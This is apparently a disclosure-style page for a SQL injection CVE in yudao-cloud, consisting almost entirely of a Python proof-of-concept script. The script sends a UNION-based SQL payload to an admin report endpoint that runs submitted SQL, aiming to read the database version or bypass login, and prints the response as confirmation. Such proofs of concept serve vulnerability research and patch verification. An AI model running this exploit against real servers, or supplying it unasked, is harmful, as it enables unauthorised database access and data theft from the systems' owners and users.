CVE-2026-7678 yudao-cloud SQL注入漏洞

import requests # Target URL vulnerable endpoint # Based on the file path, likely a report generation API target_url = "http://vulnerable-host:8080/admin-api/report/go-view/getDataBySQL" # Malicious payload to inject SQL # Attempting to extract database version or bypass login payload = { "sql": "SELECT * FROM sys_user WHERE id = 1 UNION SELECT NULL, version(), NULL, NULL-- -" } try: # Send POST request with the malicious payload response = requests.post(target_url, json=payload, timeout=5) # Check if the request was successful if response.status_code == 200: print("[+] Vulnerability confirmed!") print("[+] Response:") print(response.text) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print("[!] An error occurred:", e)